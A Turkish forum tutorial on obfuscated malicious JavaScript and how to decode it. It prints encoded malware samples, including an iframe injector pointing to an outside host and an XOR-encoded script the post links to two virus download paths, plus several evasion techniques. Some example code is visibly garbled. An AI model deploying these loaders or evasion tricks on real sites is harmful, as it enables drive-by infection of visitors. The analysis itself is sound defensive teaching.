Welcome, Guest
Username: Password: Remember me
  • Page:
  • 1

TOPIC:

Karmaşıklaştırılmış Zararlı JavaScript Kod Incelem 9 years 10 months ago #191

  • quantum50
  • quantum50's Avatar Topic Author
  • Offline
  • Elite Member
  • Elite Member
  • Posts: 480
  • Karma: 4
  • Thank you received: 6
Günümüzde zararlı Javascript kodları birçok yerde karşılaşılabilir hale gelmiş ve Javascript dilinde yazılmış olan zararlı yazılımlar İnternet'te farkıi kaynaklar tarafindan yapılan değerlendirmelerde son yılların en tehlikeli ilk 10’u arasına girmiştir[Bkz.1]. Anti-virus programlarının bu zararlı yazılımları tespit edebilir duruma gelmesinden sonra saldırganlar (hacker) bu kodları karmaşıklaştırarak ve imzalarının değişmesini temin ederek anti-virüs, IDS/IPS vs. ile tespit edilebilmesini zorlaştırmışlardır. Javascript komutları doğrudan kullanıcı tarayıcısında çalıştığı için alınan birçok güvenlik önlemini atlatarak çalışabilir ve sisteme zarar verebilir hale gelmiştir. Zararlı Javascript kodu çalıştırmak uzun bir süredir mümkün iken, güvenlik camiası bu konu üzerine fazlaca yoğunlaşmamış fakat son zamanlarda büyük tehditler arasında görülmesi sebebi ile bilgi güvenliğinde önemli bir çalışma alanı haline gelmiştir. Hazırlanan bu zararlı yazılımların asıl amacı kullanıcı İnternet tarayıcısını ve tarayıcı üzerinden, mümkün ise, sistemi ele geçirmek yada sisteme zarar vermektir. Bu zararlı yazılımlar ile neler yapabilir;

Uzak bir URL adresinden kod indirebilir ve çalıştırılabilir.

Uzak bilgisayara(örnegin,saldırganın makinasına) veri yollayabilir.

Tarayıcı ve eklenti açıklıklarını kullanarak kurbanın makinasında kod çalıstırabilir. Bu sayede makinayı ele geçirebilir.

Kurbanın bağlı bulunduğu ağ üzerinde tarama yapabilir. Bu sayede ağ üzerindeki diğer açıklıklardan haberdar olup bu sistemlere saldırı için ortam hazırlayabilir.

Yukarıda belirtildiği gibi saldırgan tarayıcıda bulunan güvenlik zafiyetleri sayesinde istediği herhangi bir zararlı yazılımı kurbanın bilgisayarında çalıştırarak bilgisayara hakim olmayı başarabilir. Bu yazıda zararlı bir Javascript kodunun nasıl karmaşıklaştırıldığı ve karmaşık olan bir kodun çözümleme yöntemleri üzerinde durulacaktır. Javascript malware içeriğinde en sık kullanılan fonksiyonlar eval, String.FromCharCode, escape ve unescape’dir. Karmaşıklaştırılmiış zararlı kodların şifrelenmesi ve çözülebilmesi için öncelikle bu anahtar fonksiyonlar üzerinde yoğunlaşılmalıdır.

Zararlı JavaScript Kodlama/Karmaşıklaştırma Teknikleri
Şifreli Kodlama

Javascript kodunu şifreleme işlemi için saldırganlar birçok yöntem kullanırlar.Bu yöntemler sayesinde kodu gören kişi, yazılan kod veya içeriği hakkında fikir yürütmesi zorlaşır. Yöntemlerden biri "URL escape code(örnek !,&,/,? )" olarak adlandırılan ve karakterlerin sayısal değerinin URL bağlantılarında kullanıldığı yöntemdir. Karakter sayı değeri ‘%' işaretinden sonra yazılır. Bu işlemi sağlayan javascript kodu escape() ve unescape() fonksiyonlarıdır.[Bkz.2]

Örnek Kullanım;

Orijinal url: http://www.bilgi?guvenligi&.gov.tr?
Escape : http%3A//www.bilgi%3Fguvenligi%26.gov.tr%3F
Unescape: http://www.bilgi?guvenligi&.gov.tr?
Yukarda görüldüğü şekli ile escape fonksiyonu kullanılarak bütün karakterler escape karakter olarak kodlanabilir ise zararlı kodun karmaşıklaştırılması sağlanmış olunur. Tüm kodun escape karakter olarak gösterimi;
Orjinal Kod:
Document.write("?SGE?");

Escape karakter olarak yazımı:

%3A%2F%2F%77%77%77%2E%62%69%6C%67%69%3F%67%75%76%65%6E%6C
%69%67%69%26%2E%67%6F%76%2E%74%72%3F
Yukarıdaki kod bu şekliyle anlaşılması zor hale gelmiş olup güvenlik yazılımları tarafından yakalanması olasılığı daha azalmıştır. Escape karakter olarak yazılabilen bu kodlar aynı şekilde unescape fonksiyonu ile orijinal haline dönüştürülebilir.

Diğer bir yöntem olarak saldırganlar kodun anlaşılabilirliğini zorlaştırmak için asıl yazmak istedikleri kodun Unicode veya HEX karşılığı olan sayısal karşılıklarını yazar. Bu kodlar tarayıcıda normal şekilde işlenir ve bu şekilde zararlı kodların çalışması sağlanır. Saldırgan bu sayede koruyucu yazılımları atlatmış ve aynı zamanda amacına ulaşarak zararlı kodun çalışmasını sağlamış olur.

Asıl Kod: eval("iframe src="http:/sge.com/sgevirüs.php?tp=675eafec431b1f72" width="1" height="1" frameborder="0"></iframe>")
HEX: eval("\x67\x65\x76\x 69\x 72\x 1f\x 73\x 2e\x 70\x 68\x 70\x 3f\x 74\x 70\x 3d\x 36\x 37\x 35\x 65\x 61\x 66\x 65\x 63\x 34\x 33\x 31\x 62\x 31\x 66\x 37\x 32\x22\x 20\x 77\x 69\x 64\x 74\x 68\x 3d\x 22\x 31\x 22\x 20\x 68\x 65\x 69\x 67\x 68\x 74\x 3d\x 22\x 31\x 22\x 20\x 66\x 72\x 61\x 6d\x 65\x 62\x 6f\x 72\x 64\x 65\x 72\x 3d\x 22\x 30\x 22\x 3e\x 3c\x 2f\x 69\x 66\x 72\x 61\x 6d\x 65\x 3e")
Unicode: eval("\ui\uf\ur\ua\um\ue\ui
\ufs\ur\uc\u=\u"\uh\ut\ut
\up\u:\u/s\ug\ue\u.\c\uo\um
\u/s\ug\ue\uv\ui\ur\uü\us\u.
\up\uh\up\u?\ut\up\u=\u675e\ua
\u f\ue\uc\u431b\u1⠠"\uw\ui\ud
\ut\uh\u=\"\1"\uh\ue\ui\ug
\uh\ut\u=\u"\u\uf\ur\ua\um\ue
\ub\uo\ur\ud\ue\ur\u=\uŔ\u"")
Bu yöntemlerden farkı olarak kod karmaşıklaştırma için saldırganların kullandığı birçok yöntem mevcuttur.[Bkz.3]

Rastgele Kodlama

Saldırgan Javascript kodlarının yakalanmaması için kodların arasına kodun anlam bütünlüğünü bozmayacak şekilde karakterler ekler. Kodun anlamını değiştirmeyecek olan karakterlere boşluk(" "), Tab karakteri("\t"), bir alt satır(/n) örnek olarak verilebilir. Kodun arasına eklenen boşluk veya Tab karakterlerinin HEX kodunu değiştirmek için yeterli olduğu görülebilir. Örnek olarak aşağıdaki şekil incelenebilir.

ASCII var a="SGE"
HEX 7661 7220 613d 2253 4745 22
ASCII var a = "SGE"
HEX 7661 7220 2061 2020 203d 2020 2022 5347 4522
Veri Karmaşıklaştırma Güvenlik yazılımlarının zararlı Javascript kodlarini tespit etmek için öncelikli olarak kontrol ettikleri fonksiyonlar vardir. Eval ve document.write metodları bu fonksiyonlara örnek gösterilebilir. Yazılımların zararlı kodu tespit edememesi için, kullanılacak olan Javascript fonksiyonlarının (eval,Document.Write) karmaşık halde ve tarayıcının anlayabileceği bir şekilde yazımı gerçekleştirilmelidir. Bunu sağlamak için Javascript zararlı yazılımlarının kullandığı temel iki yöntemden bahsedilebilir; kelimenin parçalı halde yazılması ve kelimeyi ifade edecek farklı bir terim kullanılması. Kelimenin parçalı halde yazımı aşağıdaki örnekte verilmiştir.

Asıl Kod : Document.Write(“SGE”)
Karmaşıklaştırılmış Kod: var a="Do";
var b="men";
var c="SGE");
var d="cu";
var e="t.wr";
var f="ite(";
eval(a+d+b+e+f+c);
Farklı Terim Kullanımı: Var gizli=fromCharCode;
String.gizli(72,12,45,85)
Yukarıda bahsedilen karmaşıklaştırılmış kodların asıl içeriğine ulaşabilmek için karmaşıklaştırılmış kodun çözümlenmesi gerekir. Bu kodlanmış komutların çözümü için aşağıda birkaç yöntem verilecektir.

Javascript Malware Tersine Kodlama(Decoding) Teknikleri

The Lazy Method

Zararlı içerik barındıran HTML sayfasından sadece ilgilendiğiniz kısımlar olan HTML ve Javascript başlıklarını içeren bir kopya oluşturulur. Daha sonra Javascript başlıkları içerisinde tekrarlanan Document.write ve eval içerikleri aranır ve hepsi alert ile değiştirilir. Düzenlenmiş olan dosya, kendi makinamızda kurulmuş bir web sunucusuna yada bu dosyayı kolayca tarayıcıda çalıştırabileceğimiz başka bir yere kopyalanır. Bu yöntem hızlı sonuç almak için kolay bir yöntemdir ve kullanımı basittir.

Karmaşık kod içeriğini gösterir örnek çıktı aşağıda verilmiştir. Aşağıda verilen Script komutları içerisindeki karmaşık olan komutların çözümlenmesi için eval veya Document.Write komutu yerine; alert() yazılarak zararlı içerik okunabilir hale geldiği görülür.
<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d226874747
03a2f2f636173746c6f61642e636f6d2f666f72756d2e7068703f74703d3637356561666
5633433316231663732222077696474683d223122206865696768743d22312220667
2616d65626f726465723d2230223e3c2f6966726 16d653e2729";
for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr+arr[i+1],16));eval(t); </script>
frame.jpg

Şekil 1. Zararlı kod asıl içeriği

The Tom Liston Method

Diğer yönteme benzer olarak çalışan bu yöntemde HTML ve Script başlıkları içerisinde "eval" ve "Document.Write" içeriğini arayarak bu içerikleri;

“document.write("<textarea rows=50 cols=50>");document.write(txt); document.write("</textarea>");” “document.write("<textarea rows=50 cols=50>");document.write(txt); document.write("</textarea>");”
içeriği ile değiştirir. Daha sonra değiştirilmiş dosya tarayıcımızda görüntüleyebileceğimiz bir ortama taşınır. Bu şekilde tersine kodlanmış(decode) Javascript kodunun sayfa üzerinde (HTML Textarea alanında) görüntülenmesi sağlanmış olacaktır. Bu yöntem; sonuç için hızlı ve kolay bir yöntemdir. Şifre çözme işlemine devam edebilmek için kolaylık sağlar.

Not: Dikkat edilecek bir nokta textarea tanımlanması sırasında yapılacak herhangi bir yazım(syntax) hatasının zararlı yazılımın tersine kodlama(decode) işlemi sırasında çalışmasına sebep olabilmesidir. Bu yüzden korunaklı bir ortamda çalışılması önerilir.
Örnek olarak aşağıdaki Javascript kodu verilmiştir.

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f63
6173746c6f61642e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663
732222077696474683d223122206865696768743d223122206672616d65626f726465723d22302
23e3c2f696672616d653e2729";
for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr+arr[i+1],16));eval(t); </script>
Yukarıdaki kod parçacığı içersindeki eval(t) aşağıdaki kod parçacığı ile değiştirildiği zaman zararlı yazılım içerisinde çalışan asıl koda erişildiği görülür.

document.write("<textarea rows=50 cols=50>");document.write(txt); document.write("</textarea>");
ekran.jpg

Şekil 2. Karmaşık kod içeriğini gösterir ekran çıktısı

Görüldüğü üzere yukarıda verilen karmaşıklaştırılmış kod içerisinde aslında kullanıcıyı farklı bir yere yönlendiren bir kod olduğu görülmüştür. Bu şekilde bir yönlendirme sonucunda kurbanın bilgisayarına zararlı hale getirilmiş içerikler(.exe,.pdf vs) yüklenmesi sağlanabilir ve bu zararlı içerikler üzerinden sisteme sızılmaya çalışılabilir.

The Perl-Fu Method

Javascript koduna bakılarak çoğunlukla kullanılmış olan fonksiyon belirlenir ve Perl dili ile yazılmış bir betik kullanılarak bu fonksiyon kod bloğu ile atlatılarak kodun çözülmesi sağlanır. Kodun tersine kodlanması(decode) sonucu elde edilen ASCII koduna karşılık gelen karakterler ekrana basılır. Bu yöntem; daha çok XOR, Caesar cipher gibi yöntemlerle şifrelenmis(encrypt) komutların çözümünde etkindir. Zararlı kodu çalıştırmadan yaklaşım sergileyen en güvenilir yöntemdir. Örnek olarak aşağıdaki kod verilmiştir.[Bkz.8]

<script>varJ=funkyon(m){return String.fromCharCode(m^66)};eval(J(52)+J(35)+J(48)+J(98)+J(55)+J(48)+J(46)+J(110)+J(50)+J(35)+J(54)+J(42)+
J(121)+J(55)+J(48)+J(46)+J(127)+J(96)+J(42)+J(54)+J(54)+J(50)+J(120)+J(109)+J(109)+J(33)+J(45)+J(45)+J(46)
+J(108)+J(118)+J(117)+J(119)+J(119)+J(119)+J(108)+J(45)+J(47)+J(109)+J(115)+J(58)+J(58)+J(58)+J(58)+J(108)
+J(39)+J(58)+J(39)+J(96)+J(121)+J(50)+J(35)+J(54)+J(42)+J(127)+J(96)+J(1)+J(120)+J(30)+J(30)+J(32)+J(45)+
J(45)+J(54)+J(108)+J(39)+J(58)+J(39)+J(96)+J(121)+J(54)+J(48)+J(59)+J(57)+J(52)+J(35)+J(48)+J(98)+J(35)+
J(38)+J(45)+J(127)+J(106)+J(38)+J(45)+J(33)+J(55)+J(47)+J(39)+J(44)+J(54)+J(108)+J(33)+J(48)+J(39)+J(35)+
J(54)+J(39)+J(7)+J(46)+J(39)+J(47)+J(39)+J(44)+J(54)+J(106)+J(96)+J(45)+J(32)+J(40)+J(39)+J(33)+J(54)+J(96)
+J(107)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(38)+J(127)+J(115)+J(121)+J(35)+J(38)+J(45)+J(108)+J(49)+
J(39)+J(54)+J(3)+J(54)+J(54)+J(48)+J(43)+J(32)+J(55)+J(54)+J(39)+J(106)+J(96)+J(33)+J(46)+J(35)+J(49)+J(49)
+J(43)+J(38)+J(96)+J(110)+J(96)+J(33)+J(46)+J(49)+J(43)+J(38)+J(120)+J(0)+J(6)+J(123)+J(116)+J(1)+J(117)+
J(117)+J(116)+J(111)+J(116)+J(119)+J(3)+J(113)+J(111)+J(115)+J(115)+J(6)+J(114)+J(111)+J(123)+J(122)+J(113)
+J(3)+J(111)+J(114)+J(114)+J(1)+J(114)+J(118)+J(4)+J(1)+J(112)+J(123)+J(7)+J(113)+J(116)+J(96)+J(107)+J(121)
+J(52)+J(35)+J(48)+J(98)+J(39)+J(127)+J(115)+J(121)+J(52)+J(35)+J(48)+J(98)+J(58)+J(47)+J(46)+J(127)+J(35)+
J(38)+J(45)+J(108)+J(1)+J(48)+J(39)+J(35)+J(54)+J(39)+J(13)+J(32)+J(40)+J(39)+J(33)+J(54)+J(106)+J(96)+J(15)
+J(43)+J(33)+J(48)+J(45)+J(49)+J(45)+J(36)+J(54)+J(108)+J(26)+J(15)+J(14)+J(10)+J(22)+J(22)+J(18)+J(96)+J(110)
+J(96)+J(96)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(36)+J(127)+J(115)+J(121)+J(52)+J(35)+J(48)+J(98)+J(35)+
J(32)+J(127)+J(96)+J(3)+J(38)+J(45)+J(38)+J(32)+J(108)+J(96)+J(121)+J(52)+J(35)+J(48)+J(98)+J(33)+J(38)+J(127)
+J(96)+J(17)+J(54)+J(48)+J(39)+J(35)+J(47)+J(96)+J(121)+J(52)+J(35)+J(48)+J(98)+J(37)+J(127)+J(115)+J(121)
+J(52)+J(35)+J(48)+J(98)+J(35)+J(49)+J(127)+J(35)+J(38)+J(45)+J(108)+J(33)+J(48)+J(39)+J(35)+J(54)+J(39)+
J(45)+J(32)+J(40)+J(39)+J(33)+J(54)+J(106)+J(35)+J(32)+J(105)+J(33)+J(38)+J(110)+J(96)+J(96)+J(107)+J(121)+
J(52)+J(35)+J(48)+J(98)+J(42)+J(127)+J(115)+J(121)+J(58)+J(47)+J(46)+J(108)+J(13)+J(50)+J(39)+J(44)+J(106)+
J(96)+J(5)+J(7)+J(22)+J(96)+J(110)+J(55)+J(48)+J(46)+J(110)+J(114)+J(107)+J(121)+J(58)+J(47)+J(46)+J(108)+
J(17)+J(39)+J(44)+J(38)+J(106)+J(107)+J(121)+J(35)+J(49)+J(108)+J(54)+J(59)+J(50)+J(39)+J(127)+J(115)+J(121)
+J(52)+J(35)+J(48)+J(98)+J(44)+J(127)+J(115)+J(121)+J(35)+J(49)+J(108)+J(45)+J(50)+J(39)+J(44)+J(106)+J(107)
+J(121)+J(35)+J(49)+J(108)+J(53)+J(48)+J(43)+J(54)+J(39)+J(106)+J(58)+J(47)+J(46)+J(108)+J(48)+J(39)+J(49)+
J(50)+J(45)+J(44)+J(49)+J(39)+J(0)+J(45)+J(38)+J(59)+J(107)+J(121)+J(35)+J(49)+J(108)+J(49)+J(35)+J(52)+J(39)
+J(54)+J(45)+J(36)+J(43)+J(46)+J(39)+J(106)+J(50)+J(35)+J(54)+J(42)+J(110)+J(112)+J(107)+J(121)+J(35)+J(49)
+J(108)+J(33)+J(46)+J(45)+J(49)+J(39)+J(106)+J(107)+J(121)+J(52)+J(35)+J(48)+J(98)+J(49)+J(42)+J(39)+J(46)+
J(46)+J(127)+J(35)+J(38)+J(45)+J(108)+J(33)+J(48)+J(39)+J(35)+J(54)+J(39)+J(45)+J(32)+J(40)+J(39)+J(33)+J(54)
+J(106)+J(96)+J(17)+J(42)+J(39)+J(46)+J(46)+J(108)+J(3)+J(50)+J(50)+J(46)+J(43)+J(33)+J(35)+J(54)+J(43)+J(45)
+J(44)+J(96)+J(110)+J(96)+J(96)+J(107)+J(121)+J(49)+J(42)+J(39)+J(46)+J(46)+J(108)+J(17)+J(42)+J(39)+J(46)+
J(46)+J(7)+J(58)+J(39)+J(33)+J(55)+J(54)+J(39)+J(106)+J(50)+J(35)+J(54)+J(42)+J(110)+J(96)+J(96)+J(110)+J(96)
+J(96)+J(110)+J(96)+J(45)+J(50)+J(39)+J(44)+J(96)+J(110)+J(114)+J(107)+J(121)+J(63)+J(33)+J(35)+J(54)+J(33)
+J(42)+J(106)+J(39)+J(107)+J(57)+J(63)+J(121)+'');</script>

Görüldüğü üzere J fonksiyonu gelen sayıyı 66 sayısı ile XOR işlemine tabi tutarak çıkan sonucu geri döndürüyor. Burada PERL dili kullanılarak bu işlem aynı şekilde gerçekleştirilmiş ve elden edilen değerin ASCII karşiliği basılmıştır.
Yukarıdaki karmaşık kod için kullanılan Perl komut bloğu şu şekildedir.

cat deneme.html | perl -pe 's/\+J\((\d+)\)/chr($1^66)/ge' | mor
Backtrack[Bkz.4] üzerinde yukarıdaki kod bloğu kullanılarak deneme.html dosyasındaki karmaşık kodun tersine kodlanmış(decode) hali şekilde gösterildiği gibidir.

back.jpg
Sekil 3. Karmaşıklaştırılmış kod içeriğindeki ve virus yolunu gösterir ekran çıktısı

Yukarıda çözümlenmiş kod içeriğinde iki adet virüs yolu tespit edilmiş olup bunlar kurbanın siteyi ziyaret etmesi sonucu çalışmaya başlayacak olan zararlı yazılımlardır.

The Monkey Wrench Method

Bu yöntem ile decode edilecek dosya içeriğindeki <script> başlıkları dışındaki bütün etiketler atılır. Sadece Javascript komutları irdelenir. Spidermonkey[Bkz.5] bu işlemi gerçekleştirirken eval() ve Document.write() komutlarının ne amaçla olusturulduğuna bakmadan print() metodu ile değiştirir.

back2.jpg
Şekil 4. Karmaşıklaştırılmış kod içeriği

Yukarıdaki ekran çıktısında görüldüğü üzere zararlı yazılımlara ulaşılmıştır. Javascript malware kodlarının anlaşılır hale getirilip çözümlenebilmesi için yukardaki metodlarında kullanıldığı araçlar mevcuttur. Bunlara malzilla, JsDetox, Revelo ve dolaylı olarak firebug eklentisi örnek olarak verilebilir.[Bkz.6][Bkz.7]

Alınacak Önlemler

Zararlı kodların tarayıcı üzerinde çalışmaması için güncel virüs programları kullanılabilir. Bunun yaninda tarayıcılar için eklentiler oluşturulmuş ve bu sayede ziyaret edeceğiniz site önceden kontrol edilerek zararlı bir içerik olup olmadığı kontrol edilebiliyor. Mozilla’nin NoScript, Chrome’un NotScript eklentileri örnek verilebilir.

Please Log in or Create an account to join the conversation.

  • Page:
  • 1
Time to create page: 0.393 seconds

NDK Hoş Geldin